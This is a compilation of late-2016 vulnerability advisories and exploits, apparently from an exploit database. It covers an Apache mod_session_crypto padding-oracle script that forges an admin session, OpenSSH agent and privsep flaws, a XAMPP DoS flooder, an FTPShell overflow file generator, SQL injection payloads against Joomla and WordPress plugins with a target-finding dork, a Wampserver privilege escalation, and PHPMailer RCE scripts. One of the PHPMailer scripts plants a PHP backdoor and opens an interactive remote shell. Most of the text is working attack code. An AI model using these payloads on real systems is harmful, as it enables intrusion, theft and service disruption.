------------------------------------------------------------------------
$ curl -b session=sxGTJsP1TqiPrbKVM1GAXHla5xSbA/u4zH/4Hztmf0CFsp1vp\
LQl1DGPGMMyujJL/znsBkkf0f8cXLgNDgsGE9O7pbWnbaJS8JEKXZMYBRU= \
http://127.0.0.1:8080/cgi-bin/status.rb
your username is guest
------------------------------------------------------------------------
Sending a modified cookie ending in "u=" instead of "U=" will invalidate
the padding at the end of the ciphertext, so the session cannot be
decrypted correctly and is therefore not passed to the CGI script, which
returns the text "not logged in" again:
------------------------------------------------------------------------
$ curl -b session=sxGTJsP1TqiPrbKVM1GAXHla5xSbA/u4zH/4Hztmf0CFsp1vp\
LQl1DGPGMMyujJL/znsBkkf0f8cXLgNDgsGE9O7pbWnbaJS8JEKXZMYBRu= \
http://127.0.0.1:8080/cgi-bin/status.rb
not logged in
------------------------------------------------------------------------
This verifies the existence of the Padding Oracle vulnerability. The
Python library[1] python-paddingoracle was then used to implement
decrypting the session by exploiting the Padding Oracle vulnerability.
exploit.py
------------------------------------------------------------------------
'''
from paddingoracle import BadPaddingException, PaddingOracle
from base64 import b64encode, b64decode
import requests
class PadBuster(PaddingOracle):
def __init__(self, valid_cookie, **kwargs):
super(PadBuster, self).__init__(**kwargs)
self.wait = kwargs.get('wait', 2.0)
self.valid_cookie = valid_cookie
def oracle(self, data, **kwargs):
v = b64encode(self.valid_cookie+data)
response = requests.get('http://127.0.0.1:8080/cgi-bin/status.rb',
cookies=dict(session=v), stream=False, timeout=5, verify=False)
if 'username' in response.content:
logging.debug('No padding exception raised on %r', v)
return
raise BadPaddingException
if __name__ == '__main__':
import logging
import sys
if not sys.argv[2:]:
print 'Usage: [encrypt|decrypt] <session value> <plaintext>'
sys.exit(1)
logging.basicConfig(level=logging.WARN)
mode = sys.argv[1]
session = b64decode(sys.argv[2])
padbuster = PadBuster(session)
if mode == "decrypt":
cookie = padbuster.decrypt(session[32:], block_size=16, iv=session[16:32])
print('Decrypted session:\n%r' % cookie)
elif mode == "encrypt":
key = session[0:16]
plaintext = sys.argv[3]
s = padbuster.encrypt(plaintext, block_size=16)
data = b64encode(key+s[0:len(s)-16])
print('Encrypted session:\n%s' % data)
else:
print "invalid mode"
sys.exit(1)
'''
------------------------------------------------------------------------
This Python script can then be used to decrypt the session:
------------------------------------------------------------------------
$ time python exploit.py decrypt sxGTJsP1TqiPrbKVM1GAXHla5xSbA/u4zH/4\
Hztmf0CFsp1vpLQl1DGPGMMyujJL/znsBkkf0f8cXLgNDgsGE9O7pbWnbaJS8JEKXZMYBRU=
Decrypted session:
b'username=guest×tamp=1453282205\r\r\r\r\r\r\r\r\r\r\r\r\r'
real 6m43.088s
user 0m15.464s
sys 0m0.976s
------------------------------------------------------------------------
In this sample application, the username and a timestamp are included in
the session data. The Python script can also be used to encrypt a new
session containing the username "admin":
------------------------------------------------------------------------
$ time python exploit.py encrypt sxGTJsP1TqiPrbKVM1GAXHla5xSbA/u4zH/4\
Hztmf0CFsp1vpLQl1DGPGMMyujJL/znsBkkf0f8cXLgNDgsGE9O7pbWnbaJS8JEKXZMYB\
RU= username=admin
Encrypted session:
sxGTJsP1TqiPrbKVM1GAXPZQZNxCxjK938K9tufqX9xDLFciz7zmQ/GLFjF4pcXY
real3m38.002s
users0m8.536s
sys0m0.512s
------------------------------------------------------------------------
Sending this newly encrypted session to the server shows that the
username is now "admin":
------------------------------------------------------------------------
$ curl -b session=sxGTJsP1TqiPrbKVM1GAXPZQZNxCxjK938K9tufqX9xDLFciz7\
zmQ/GLFjF4pcXY http://127.0.0.1:8080/cgi-bin/status.rb
your username is admin
------------------------------------------------------------------------
Workaround
==========
Use a different means to store the session, e.g. in a database by using
mod_session_dbd.
Fix
===
Update to Apache HTTP version 2.4.25 (see [2]).
Security Risk
=============
Applications which use mod_session_crypto usually store sensitive values
in the session and rely on an attacker's inability to decrypt or modify
the session. Successful exploitation of the Padding Oracle vulnerability
subverts this mechanism and allows to construct sessions with arbitrary
attacker-specified content. Depending on the application this may
completely subvert the application's security. Therefore, this
vulnerability poses a high risk.
Timeline
========
2016-01-11 Vulnerability identified
2016-01-12 Customer approved disclosure to vendor
2016-01-12 CVE number requested
2016-01-20 Vendor notified
2016-01-22 Vendor confirmed the vulnerability
2016-02-03 Vendor provided patch
2016-02-04 Apache Security Team assigned CVE number
2016-03-03 Requested status update from vendor, no response
2016-05-02 Requested status update from vendor, no response
2016-07-14 Requested status update and roadmap from vendor
2016-07-21 Vendor confirms working on a new released and inquired whether the
patch fixes the vulnerability
2016-07-22 RedTeam confirms
2016-08-24 Requested status update from vendor
2016-08-29 Vendor states that there is no concrete timeline
2016-12-05 Vendor announces a release
2016-12-20 Vendor released fixed version
2016-12-23 Advisory released
References
==========
[1] https://github.com/mwielgoszewski/python-paddingoracle
[2] http://httpd.apache.org/security/vulnerabilities_24.html
RedTeam Pentesting GmbH
=======================
RedTeam Pentesting offers individual penetration tests performed by a
team of specialised IT-security experts. Hereby, security weaknesses in
company networks or products are uncovered and can be fixed immediately.
As there are only few experts in this field, RedTeam Pentesting wants to
share its knowledge and enhance the public knowledge with research in
security-related areas. The results are made available as public
security advisories.
More information about RedTeam Pentesting can be found at:
https://www.redteam-pentesting.de/
'''
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1010
This issue affects OpenSSH if privilege separation is disabled (config option
UsePrivilegeSeparation=no). While privilege separation is enabled by default, it
is documented as a hardening option, and therefore disabling it should not
directly make a system vulnerable.
OpenSSH can forward TCP sockets and UNIX domain sockets. If privilege separation
is disabled, then on the server side, the forwarding is handled by a child of
sshd that has root privileges. For TCP server sockets, sshd explicitly checks
whether an attempt is made to bind to a low port (below IPPORT_RESERVED) and, if
so, requires the client to authenticate as root. However, for UNIX domain
sockets, no such security measures are implemented.
This means that, using "ssh -L", an attacker who is permitted to log in as a
normal user over SSH can effectively connect to non-abstract unix domain sockets
with root privileges. On systems that run systemd, this can for example be
exploited by asking systemd to add an LD_PRELOAD environment variable for all
following daemon launches and then asking it to restart cron or so. The attached
exploit demonstrates this - if it is executed on a system with systemd where
the user is allowed to ssh to his own account and where privsep is disabled, it
yields a root shell.
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40962.zip
'''
[+] Credits: John Page (hyp3rlinx)
[+] Website: hyp3rlinx.altervista.org
[+] Source:
http://hyp3rlinx.altervista.org/advisories/XAMPP-CONTROL-PANEL-MEMORY-CORRUPTION-DOS.txt
[+] ISR: ApparitionSec
Vendor:
=====================
www.apachefriends.org
Product:
===================
XAMPP Control Panel
XAMPP is a free and open source cross-platform web server solution stack
package developed by Apache Friends,
consisting mainly of the Apache HTTP Server, MariaDB database, and
interpreters for scripts written in the PHP
and Perl programming languages.
Vulnerability Type:
=====================
Memory Corruption DOS
CVE Reference:
==============
N/A
Vulnerability Details:
=====================
XAMPP Control Panel crashes with access violation when writing junk bytes
into several different ports e.g.
Tested following ports / versions:
(MySQL) 3306 v3.2.2
(Tomcat) 8080 (XAMPP v3.1.0)
(FileZilla) 21
(Mercury Mail) 25 (XAMPP v3.1.0),79,105,106,143.
It is not that XAMPP Control Panel is listening on some port, however
memory corruption and Denial Of Service does
occur when you constantly write junk into, for instance, the MySQL, Tomcat,
FileZilla, Mercury Mail listening ports.
1) Launch XAMPP control panel
2) Run exploit script against some ports like 3306, 79, 105 (Mercury mail)
with Apache running and or Tomcat
Target different services and port combinations to reproduce.
Important to note is that neither MySQL or Apache itself crash, it IS the
XAMPP Control Panel that crashes with Access Violation.
Tested Windows SP1
POC Video:
https://vimeo.com/196938261
Exploit code(s):
===============
'''
import socket
print "XAMPP Control Panel DOS"
print "Discovery: John Page (hyp3rlinx)"
print "ApparitionSec"
print "hyp3rlinx.altervista.org\r\n"
IP = raw_input("[IP]> ")
PORT = raw_input("[PORT]> ")
arr=[]
c=0
while 1:
try:
arr.append(socket.create_connection((IP,PORT)))
arr[c].send("DOOM")
print "Die!"
c+=1
except socket.error:
print "[+] Done! "
raw_input()
break
'''
Disclosure Timeline:
=======================================
Vendor Notification: November 1, 2016
Vendor acknowledgement: November 4, 2016
Vendor released Fix : December 22, 2016
(NO public mention as of the time of this writing)
December 24, 2016 : Public Disclosure
Exploitation Technique:
=======================
Remote
Severity Level:
================
High
[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no
warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the
information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author
prohibits any malicious use of security related information
or exploits by the author or elsewhere.
hyp3rlinx
'''
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1009
The OpenSSH agent permits its clients to load PKCS11 providers using the commands SSH_AGENTC_ADD_SMARTCARD_KEY and SSH_AGENTC_ADD_SMARTCARD_KEY_CONSTRAINED if OpenSSH was compiled with the ENABLE_PKCS11 flag (normally enabled) and the agent isn't locked. For these commands, the client has to specify a provider name. The agent passes this provider name to a subprocess (via ssh-agent.c:process_add_smartcard_key -> ssh-pkcs11-client.c:pkcs11_add_provider -> ssh-pkcs11-client.c:send_msg), and the subprocess receives it and passes it to dlopen() (via ssh-pkcs11-helper.c:process -> ssh-pkcs11-helper.c:process_add -> ssh-pkcs11.c:pkcs11_add_provider -> dlopen). No checks are performed on the provider name, apart from testing whether that provider is already loaded.
This means that, if a user connects to a malicious SSH server with agent forwarding enabled and the malicious server has the ability to place a file with attacker-controlled contents in the victim's filesystem, the SSH server can execute code on the user's machine.
To reproduce the issue, first create a library that executes some command when it is loaded:
$ cat evil_lib.c
#include <stdlib.h>
__attribute__((constructor)) static void run(void) {
// in case you're loading this via LD_PRELOAD or LD_LIBRARY_PATH,
// prevent recursion through system()
unsetenv("LD_PRELOAD");
unsetenv("LD_LIBRARY_PATH");
system("id > /tmp/test");
}
$ gcc -shared -o evil_lib.so evil_lib.c -fPIC -Wall
Connect to another machine using "ssh -A". Then, on the remote machine:
$ ssh-add -s [...]/evil_lib.so
Enter passphrase for PKCS#11: [just press enter here]
SSH_AGENT_FAILURE
Could not add card: [...]/evil_lib.so
At this point, the command "id > /tmp/test" has been executed on the machine running the ssh agent:
$ cat /tmp/test
uid=1000(user) gid=1000(user) groups=[...]
Fixed in http://cvsweb.openbsd.org/cgi-bin/cvsweb/src/usr.bin/ssh/ssh-agent.c.diff?r1=1.214&r2=1.215&f=h
#Exploit FTPShell server 6.36 '.csv' Crash(PoC)
#Author: albalawi_sultan
#Tested on:win7
#st :http://www.ftpshell.com/download.htm
#1-open FTPShell Server Administrator
#2-manage Ftp accounts
#3-import from csv
ban= '\x0d\x0a\x20\x20\x20\x20\x20\x20\x20\x5c\x20\x20\x20\x2d\x20\x20'
ban+='\x2d\x20\x20\x2d\x20\x3c\x73\x65\x72\x76\x65\x72\x3e\x20\x20\x2d'
ban+='\x20\x5c\x2d\x2d\x2d\x3c\x20\x2d\x20\x2d\x20\x20\x2d\x20\x2d\x20'
ban+='\x20\x2d\x20\x20\x2a\x0d\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20'
ban+='\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20'
ban+='\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20'
ban+='\x20\x20\x20\x20\x20\x20\x20\x20\x2a\x2a\x2a\x0d\x0a\x20\x20\x20'
ban+='\x20\x20\x20\x20\x7c\x20\x20\x20\x20\x44\x6f\x63\x5f\x41\x74\x74'
ban+='\x61\x63\x6b\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20'
ban+='\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2a\x2a\x2a'
ban+='\x2a\x2a\x0d\x0a\x20\x20\x20\x20\x20\x20\x20\x7c\x20\x20\x20\x20'
ban+='\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20'
ban+='\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20'
ban+='\x20\x20\x20\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x0d\x0a\x20\x20\x20\x20'
ban+='\x20\x20\x20\x76\x20\x20\x20\x20\x20\x20\x20\x20\x60\x20\x60\x2e'
ban+='\x20\x20\x20\x20\x2c\x3b\x27\x20\x20\x20\x20\x20\x20\x20\x20\x20'
ban+='\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2a\x2a\x2a\x2a\x41\x70\x50'
ban+='\x2a\x2a\x2a\x2a\x0d\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20'
ban+='\x20\x20\x20\x20\x20\x20\x60\x2e\x20\x20\x2c\x27\x2f\x20\x2e\x27'
ban+='\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20'
ban+='\x20\x20\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x0d'
ban+='\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20'
ban+='\x20\x20\x60\x2e\x20\x58\x20\x2f\x2e\x27\x20\x20\x20\x20\x20\x20'
ban+='\x20\x20\x20\x20\x20\x20\x20\x2a\x20\x20\x20\x20\x20\x2a\x2a\x2a'
ban+='\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x0d\x0a\x20\x20\x20\x20'
ban+='\x20\x20\x20\x2e\x2d\x3b\x2d\x2d\x27\x27\x2d\x2d\x2e\x5f\x60\x20'
ban+='\x60\x20\x28\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20'
ban+='\x20\x2a\x2a\x2a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x7c\x0d'
ban+='\x0a\x20\x20\x20\x20\x20\x2e\x27\x20\x20\x20\x20\x20\x20\x20\x20'
ban+='\x20\x20\x20\x2f\x20\x20\x20\x20\x27\x20\x20\x20\x20\x20\x20\x20'
ban+='\x20\x20\x20\x20\x20\x2a\x2a\x2a\x2a\x2a\x20\x20\x20\x20\x20\x20'
ban+='\x20\x20\x20\x7c\x20\x64\x61\x74\x61\x62\x61\x73\x65\x0d\x0a\x20'
ban+='\x20\x20\x20\x20\x3b\x53\x65\x63\x75\x72\x69\x74\x79\x60\x20\x20'
ban+='\x27\x20\x30\x20\x20\x30\x20\x27\x20\x20\x20\x20\x20\x20\x20\x20'
ban+='\x20\x2a\x2a\x2a\x4e\x45\x54\x2a\x2a\x2a\x20\x20\x20\x20\x20\x20'
ban+='\x20\x7c\x0d\x0a\x20\x20\x20\x20\x2c\x20\x20\x20\x20\x20\x20\x20'
ban+='\x2c\x20\x20\x20\x20\x27\x20\x20\x7c\x20\x20\x27\x20\x20\x20\x20'
ban+='\x20\x20\x20\x20\x20\x20\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x20'
ban+='\x20\x20\x20\x20\x20\x20\x5e\x0d\x0a\x20\x2c\x2e\x20\x7c\x20\x20'
ban+='\x20\x20\x20\x20\x20\x27\x20\x20\x20\x20\x20\x60\x2e\x5f\x2e\x27'
ban+='\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x7c'
ban+='\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x5e\x2d\x2d\x2d\x5e\x20\x20\x20\x20'
ban+='\x20\x20\x20\x20\x20\x20\x2f\x0d\x0a\x20\x3a\x20\x20\x2e\x20\x60'
ban+='\x20\x20\x3b\x20\x20\x20\x60\x20\x20\x60\x20\x2d\x2d\x2c\x2e\x2e'
ban+='\x5f\x3b\x2d\x2d\x2d\x3e\x20\x20\x20\x20\x20\x20\x20\x20\x20\x7c'
ban+='\x20\x20\x20\x20\x20\x20\x20\x27\x2e\x27\x2e\x27\x5f\x5f\x5f\x5f'
ban+='\x5f\x5f\x5f\x5f\x20\x2a\x0d\x0a\x20\x20\x27\x20\x60\x20\x20\x20'
ban+='\x20\x2c\x20\x20\x20\x29\x20\x20\x20\x2e\x27\x20\x20\x20\x20\x20'
ban+='\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x5e\x20'
ban+='\x20\x20\x20\x20\x20\x20\x20\x7c\x5f\x7c\x20\x46\x69\x72\x65\x77'
ban+='\x61\x6c\x6c\x20\x29\x0d\x0a\x20\x20\x20\x20\x20\x60\x2e\x5f\x20'
ban+='\x2c\x20\x20\x27\x20\x20\x20\x2f\x5f\x20\x20\x20\x20\x20\x20\x20'
ban+='\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x7c\x20\x20'
ban+='\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x7c\x7c\x20\x20\x20\x20'
ban+='\x7c\x7c\x0d\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x3b\x20\x2c\x27'
ban+='\x27\x2d\x2c\x3b\x27\x20\x60\x60\x2d\x5f\x5f\x5f\x5f\x5f\x5f\x5f'
ban+='\x5f\x5f\x5f\x5f\x5f\x5f\x5f\x5f\x5f\x5f\x7c\x0d\x0a\x20\x20\x20'
ban+='\x20\x20\x20\x20\x20\x20\x60\x60\x2d\x2e\x2e\x5f\x5f\x60\x60\x2d'
ban+='\x2d\x60\x20\x20\x20\x20\x20\x20\x20\x69\x70\x73\x20\x20\x20\x20'
ban+='\x20\x20\x20\x2d\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x5e'
ban+='\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2f\x0d\x0a\x20'
ban+='\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20'
ban+='\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20'
ban+='\x20\x20\x20\x20\x20\x20\x2d\x20\x20\x20\x20\x20\x20\x20\x20\x27'
ban+='\x2e\x20\x5f\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2a\x0d\x0a\x20'
ban+='\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20'
ban+='\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20'
ban+='\x20\x20\x20\x20\x20\x20\x20\x2d\x5f\x5f\x5f\x5f\x5f\x5f\x5f\x20'
ban+='\x7c\x5f\x20\x20\x49\x50\x53\x20\x20\x20\x20\x20\x29\x0d\x0a\x20'
ban+='\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20'
ban+='\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20'
ban+='\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20'
ban+='\x20\x20\x20\x20\x7c\x7c\x20\x20\x20\x20\x20\x7c\x7c\x0d\x0a\x20'
ban+='\n'
ban+='\x53\x75\x6c\x74\x61\x6e\x5f\x41\x6c\x62\x61\x6c\x61\x77\x69\n'
ban+='\x68\x74\x74\x70\x73\x3a\x2f\x2f\x77\x77\x77\x2e\x66\x61\x63\x65\x62\x6f\x6f\x6b\x2e\x63\x6f\x6d\x2f\x70\x65\x6e\x74\x65\x73\x74\x33\n'
ban+="\x61\x6c\x62\x61\x6c\x61\x77\x69\x34\x70\x65\x6e\x74\x65\x73\x74\x40\x67\x6d\x61\x69\x6c\x2e\x63\x6f\x6d"
print ban
import struct
E = struct.pack("<L",0x00F39658)#JMP to KERNELBA.CloseHandle
#397
EXp="\x41"*397+E
#E2+'\x90'*1+E1+"\x90"*1+E+'\x90'*1+sc
upfile="Exoploit_ftpshell.csv"
file=open(upfile,"w")
file.write(EXp)
file.close()
print 'done:- {}'.format(upfile)
==========================================================================================
Joomla com_blog_calendar SQL Injection Vulnerability
==========================================================================================
:-------------------------------------------------------------------------------------------------------------------------:
: # Exploit Title : Joomla com_blog_calendar SQL Injection Vulnerability
: # Date : 26th December 2016
: # Author : X-Cisadane
: # CMS Name : Joomla
: # CMS Developer : http://joomlacode.org/gf/project/blog_calendar/
: # Category : Web Application
: # Vulnerability : SQL Injection
: # Tested On : SQLMap 1.0.12.9#dev
: # Greetz to : X-Code YogyaFree, ExploreCrew, CodeNesia, Bogor Hackers Community, Borneo Crew, Depok Cyber, Mantan
:-------------------------------------------------------------------------------------------------------------------------:
A SQL Injection Vulnerability has been discovered in the Joomla Module called com_blog_calendar.
The Vulnerability is located in the index.php?option=com_blog_calendar&modid=xxx Parameter.
Attackers are able to execute own SQL commands by usage of a GET Method Request with manipulated modid Value.
Attackers are able to read Database information by execution of own SQL commands.
DORKS (How to find the target) :
================================
inurl:/index.php?option=com_blog_calendar
Or use your own Google Dorks :)
Proof of Concept
================
SQL Injection
PoC :
http://[Site]/[Path]/index.php?option=com_blog_calendar&modid=['SQLi]
=====================================================
# Vendor Homepage: http://www.wampserver.com/
# Date: 10 Dec 2016
# Version : Wampserver 3.0.6 32 bit x86
# Tested on: Windows 7 Ultimate SP1 (EN)
# Author: Heliand Dema
# Contact: heliand@cyber.al
=====================================================
Wampserver installs two services called 'wampapache' and 'wampmysqld'
with weak file permission running with SYSTEM privileges.
This could potentially allow an authorized but non-privileged local user
to execute arbitrary code with elevated privileges on the system.
C:\>sc qc wampapache
[SC] QueryServiceConfig SUCCESS
SERVICE_NAME: wampapache
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 3 DEMAND_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME :
"c:\wamp\bin\apache\apache2.4.23\bin\httpd.exe" -k runservice
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : wampapache
DEPENDENCIES : Tcpip
: Afd
SERVICE_START_NAME : LocalSystem
PS C:\> icacls c:\wamp\bin\apache\apache2.4.23\bin\httpd.exe
c:\wamp\bin\apache\apache2.4.23\bin\httpd.exe
BUILTIN\Administrators:(I)(F) <--- Full Acces
NT AUTHORITY\SYSTEM:(I)(F)
BUILTIN\Users:(I)(RX)
NT AUTHORITY\Authenticated
Users:(I)(M) <--- Modify
C:\Windows\system32>sc qc wampmysqld
[SC] QueryServiceConfig SUCCESS
SERVICE_NAME: wampmysqld
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 3 DEMAND_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME :
c:\wamp\bin\mysql\mysql5.7.14\bin\mysqld.exe wampmysqld
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : wampmysqld
DEPENDENCIES :
SERVICE_START_NAME : LocalSystem
PS C:\> icacls c:\wamp\bin\mysql\mysql5.7.14\bin\mysqld.exe
c:\wamp\bin\mysql\mysql5.7.14\bin\mysqld.exe
BUILTIN\Administrators:(I)(F) <--- Full Acces
NT AUTHORITY\SYSTEM:(I)(F)
BUILTIN\Users:(I)(RX)
NT AUTHORITY\Authenticated
Users:(I)(M) <--- Modify
Notice the line: NT AUTHORITY\Authenticated Users:(I)(M) which lists the
permissions for authenticated however unprivileged users. The (M) stands
for Modify, which grants us, as an unprivileged user, the ability to
read, write and delete files and subfolders within this folder.
====Proof-of-Concept====
To properly exploit this vulnerability, the local attacker must insert
an executable file called mysqld.exe or httpd.exe and replace the
original files. Next time service starts the malicious file will get
executed as SYSTEM.
#!/bin/bash
# CVE-2016-10033 exploit by opsxcq
# https://github.com/opsxcq/exploit-CVE-2016-10033
echo '[+] CVE-2016-10033 exploit by opsxcq'
if [ -z "$1" ]
then
echo '[-] Please inform an host as parameter'
exit -1
fi
host=$1
echo '[+] Exploiting '$host
curl -sq 'http://'$host -H 'Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryzXJpHSq4mNy35tHe' --data-binary $'------WebKitFormBoundaryzXJpHSq4mNy35tHe\r\nContent-Disposition: form-data; name="action"\r\n\r\nsubmit\r\n------WebKitFormBoundaryzXJpHSq4mNy35tHe\r\nContent-Disposition: form-data; name="name"\r\n\r\n<?php echo "|".base64_encode(system(base64_decode($_GET["cmd"])))."|"; ?>\r\n------WebKitFormBoundaryzXJpHSq4mNy35tHe\r\nContent-Disposition: form-data; name="email"\r\n\r\nvulnerables@ -OQueueDirectory=/tmp -X/www/backdoor.php\r\n------WebKitFormBoundaryzXJpHSq4mNy35tHe\r\nContent-Disposition: form-data; name="message"\r\n\r\nPwned\r\n------WebKitFormBoundaryzXJpHSq4mNy35tHe--\r\n' >/dev/null && echo '[+] Target exploited, acessing shell at http://'$host'/backdoor.php'
cmd='whoami'
while [ "$cmd" != 'exit' ]
do
echo '[+] Running '$cmd
curl -sq http://$host/backdoor.php?cmd=$(echo -ne $cmd | base64) | grep '|' | head -n 1 | cut -d '|' -f 2 | base64 -d
echo
read -p 'RemoteShell> ' cmd
done
echo '[+] Exiting'
# Exploit Title: WP Support Plus Responsive Ticket System 7.1.3 – WordPress Plugin – Sql Injection
# Exploit Author: Lenon Leite
# Vendor Homepage: https://wordpress.org/plugins/wp-support-plus-responsive-ticket-system/
# Software Link: https://wordpress.org/plugins/wp-support-plus-responsive-ticket-system/
# Contact: http://twitter.com/lenonleite
# Website: http://lenonleite.com.br/
# Category: webapps
# Version: 7.1.3
# Tested on: Ubuntu 14.04
1 - Description:
Type user access: any user. $_POST[‘cat_id’] is not escaped. Is accessible for any user.
http://lenonleite.com.br/en/blog/2016/12/13/wp-support-plus-responsive-ticket-system-wordpress-plugin-sql-injection/
2 - Proof of Concept:
<form action="http://target/wp-admin/admin-ajax.php" method="post">
<input type="text" name="action" value="wpsp_getCatName">
<input type="text" name="cat_id" value="0 UNION SELECT 1,CONCAT(name,CHAR(58),slug),3 FROM wp_terms WHERE term_id=1">
<input type="submit" name="">
</form>
3 - Timeline:
- 12/12/2016 – Discovered
- 13/12/2016 – Vendor notifed
- 16/12/2016 – Resolve issue version 7.1.5
#!/usr/bin/python
intro = """
PHPMailer RCE PoC Exploits
PHPMailer < 5.2.18 Remote Code Execution PoC Exploit (CVE-2016-10033)
+
PHPMailer < 5.2.20 Remote Code Execution PoC Exploit (CVE-2016-10045)
(the bypass of the first patch for CVE-2016-10033)
Discovered and Coded by:
Dawid Golunski
@dawid_golunski
https://legalhackers.com
"""
usage = """
Usage:
Full Advisory:
https://legalhackers.com/advisories/PHPMailer-Exploit-Remote-Code-Exec-CVE-2016-10033-Vuln.html
https://legalhackers.com/advisories/PHPMailer-Exploit-Remote-Code-Exec-CVE-2016-10045-Vuln-Patch-Bypass.html
PoC Video:
https://legalhackers.com/videos/PHPMailer-Exploit-Remote-Code-Exec-Vuln-CVE-2016-10033-PoC.html
Disclaimer:
For testing purposes only. Do no harm.
"""
import time
import urllib
import urllib2
import socket
import sys
RW_DIR = "/var/www/html/uploads"
url = 'http://VictimWebServer/contact_form.php' # Set destination URL here
# Choose/uncomment one of the payloads:
# PHPMailer < 5.2.18 Remote Code Execution PoC Exploit (CVE-2016-10033)
#payload = '"attacker\\" -oQ/tmp/ -X%s/phpcode.php some"@email.com' % RW_DIR
# Bypass / PHPMailer < 5.2.20 Remote Code Execution PoC Exploit (CVE-2016-10045)
payload = "\"attacker\\' -oQ/tmp/ -X%s/phpcode.php some\"@email.com" % RW_DIR
######################################
# PHP code to be saved into the backdoor php file on the target in RW_DIR
RCE_PHP_CODE = "<?php phpinfo(); ?>"
post_fields = {'action': 'send', 'name': 'Jas Fasola', 'email': payload, 'msg': RCE_PHP_CODE}
# Attack
data = urllib.urlencode(post_fields)
req = urllib2.Request(url, data)
response = urllib2.urlopen(req)
the_page = response.read()
# Exploit Title: WP Private Messages 1.0.1 – Plugin WordPress – Sql Injection
# Exploit Author: Lenon Leite
# Vendor Homepage: https://wordpress.org/plugins/wp-private-messages/
# Software Link: https://wordpress.org/plugins/wp-private-messages/
# Contact: http://twitter.com/lenonleite
# Website: http://lenonleite.com.br/
# Category: webapps
# Version: 1.0.1
# Tested on: Ubuntu 14.04
1 - Description:
Type user access: registered user.
$_GET[‘id’] is not escaped. Url is accessible for every registered user.
http://lenonleite.com.br/en/blog/2016/12/16/wp-private-messages-1-0-1-plugin-wordpress-sql-injection/
2 - Proof of Concept:
1 – Login as regular user (created using wp-login.php?action=register):
2 -Using :
http://target/wp-admin/users.php?page=wp-private-messages%2Fwpu_private_messages.php&wpu=readid=0+UNION+SELECT+1,2,2,name,slug,6,7,8,9,10,11,12+FROM+wp_terms+WHERE++term_id%3D1&r=recieved
Obs: Use id number of your user in third column after word select. For example:
…UNION+SELECT+1,2,1,name,slug…
…UNION+SELECT+1,2,2,name,slug…
…UNION+SELECT+1,2,3,name,slug…
…UNION+SELECT+1,2,4,name,slug…
…UNION+SELECT+1,2,5,name,slug…
3 - Timeline:
12/12/2016 – Discovered
13/12/2016 – Vendor not finded
# Exploit Title: Unauthenticated SQL injeciton in 404 plugin for Wordpress v1.0
# Google Dork: N/A
# Date: 17/12/2016
# Exploit Author: Ahmed Sherif (Deloitte)
# Vendor Homepage: N/A
# Software Link: https://wordpress.org/plugins/404-redirection-manager/
# Version: V1.0
# Tested on: Linux Mint
# CVE : N/A
The plugin does not properly sanitize the user input. Hence, it was
vulnerable to SQL injection.
The vulnerable page is : custom/lib/cf.SR_redirect_manager.class.php on line 356
[#] Proof of Concept (PoC):
GET /path-to-wordpress/%27%29%20AND%20%28SELECT%20%2a%20FROM%20%28SELECT%28SLEEP%285-%28IF%28%27a%27%3D%27a%27%2C0%2C5%29%29%29%29%29FPYG%29%20AND%20%28%27SQL%27%3D%27SQL
